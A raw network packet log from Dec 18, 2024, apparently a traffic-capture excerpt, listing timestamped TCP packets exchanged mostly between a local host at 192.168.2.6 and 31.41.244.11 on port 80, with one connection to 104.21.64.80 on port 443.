Dec 18, 2024 11:47:45.052251101 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.052261114 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.052301884 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.053339005 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.053389072 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.053455114 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.053497076 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.054570913 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.054619074 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.054662943 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.054702044 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.055165052 CET	49886	443	192.168.2.6	104.21.64.80
Dec 18, 2024 11:47:45.055704117 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.055751085 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.055835962 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.055871964 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.056909084 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.056961060 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.057045937 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.057085991 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.058065891 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.058114052 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.058176994 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.058216095 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.059237957 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.059286118 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.059367895 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.059410095 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.060518980 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.060575008 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.060621023 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.060662985 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.061603069 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.061635017 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.061666965 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.061681032 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.062848091 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.062911987 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.062968016 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.063009977 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.063990116 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.064040899 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.064042091 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.064079046 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.065188885 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.065246105 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.065319061 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.065361977 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.066400051 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.066448927 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.066493988 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.066534996 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.067550898 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.067601919 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.067646980 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.067688942 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.068706989 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.068753958 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.068835974 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.068876028 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.069905043 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.069998026 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.070034027 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.070076942 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.071139097 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.071203947 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.071252108 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.071295023 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.072285891 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.072340965 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.072401047 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.072444916 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.073507071 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.073553085 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.073582888 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.073628902 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.074640036 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.074692965 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.074758053 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.074806929 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.075817108 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.075860023 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.075912952 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.075951099 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.076998949 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.077053070 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.077229977 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.077275038 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.078182936 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.078237057 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.078286886 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.078335047 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.079370975 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.079416990 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.079447031 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.079518080 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.080569983 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.080621958 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.080723047 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.080764055 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.081763983 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.081799984 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.081815958 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.081831932 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.082976103 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.083023071 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.083199024 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.083236933 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.084171057 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.084223986 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.084285021 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.084317923 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.085303068 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.085359097 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.085402966 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.085443020 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.086482048 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.086525917 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.086587906 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.086628914 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.087719917 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.087765932 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.087789059 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.087822914 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.088839054 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.088876009 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.088923931 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.088964939 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.090131998 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.090174913 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.090179920 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.090213060 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.091190100 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.091231108 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.091387033 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.091428995 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.092489958 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.092542887 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.092570066 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.092602968 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.093729973 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.093780994 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.093849897 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.093889952 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.094825029 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.094870090 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.094928980 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.094964981 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.095992088 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.096040964 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.096102953 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.096143007 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.097110033 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.097174883 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.226210117 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.226255894 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.226294041 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.226326942 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.226386070 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.226464033 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.226485014 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.226526022 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.227617979 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.227663040 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.227663040 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.227715969 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.228800058 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.228842020 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.228871107 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.228904963 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.229633093 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.229675055 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.229736090 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.229772091 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.230904102 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.230947018 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.230979919 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.231018066 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.232062101 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.232105970 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.232180119 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.232215881 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.233184099 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.233233929 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.233326912 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.233361959 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.234384060 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.234437943 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.234448910 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.234479904 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.235526085 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.235627890 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.235650063 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.235687017 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.236769915 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.236810923 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.236849070 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.236885071 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.237963915 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.238025904 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.238171101 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.238209963 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.239187956 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.239228010 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.239263058 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.239301920 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.240326881 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.240372896 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.240653992 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.240695000 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.241516113 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.241563082 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.241581917 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.241617918 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.242706060 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.242752075 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.242780924 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.242819071 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.243824959 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.243880033 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.243947029 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.243988037 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.245059967 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.245102882 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.245197058 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.245235920 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.246192932 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.246238947 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.246360064 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.246398926 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.247359991 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.247406006 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.247560024 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.247596979 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.248570919 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.248617887 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.248667955 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.248703003 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.249741077 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.249784946 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.249839067 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.249874115 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.251176119 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.251199007 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.251218081 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.251235962 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.252160072 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.252199888 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.252289057 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.252330065 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.253309965 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.253350019 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.253417015 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.253453970 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.254465103 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.254509926 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.254553080 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.254590034 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.255655050 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.255700111 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.255759001 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.255794048 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.256870031 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.256916046 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.256980896 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.257021904 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.258230925 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.258276939 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.258445978 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.258487940 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.259295940 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.259340048 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.259350061 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.259393930 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.260380983 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.260426998 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.260494947 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.260535002 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.261559010 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.261605978 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.261710882 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.261751890 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.262777090 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.262820959 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.262866020 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.262906075 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.263968945 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.264015913 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.264050007 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.264089108 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.265130997 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.265176058 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.265259981 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.265295029 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.266314983 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.266360044 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.266470909 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.266505003 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.267525911 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.267580986 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.267630100 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.267668962 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.268670082 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.268727064 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.268851995 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.268891096 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.269913912 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.269973040 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.270071983 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.270118952 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.271087885 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.271142006 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.271183014 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.271218061 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.272242069 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.272284031 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.272352934 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.272391081 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.273432016 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.273478985 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.273545980 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.273581982 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.274635077 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.274652004 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.274682999 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.274698973 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.275856018 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.275888920 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.275907993 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.275923014 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.276977062 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.276993990 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.277021885 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.277036905 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.278119087 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.278162003 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.278264999 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.278302908 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:45.279292107 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:45.279335976 CET	49878	80	192.168.2.6	31.41.244.11
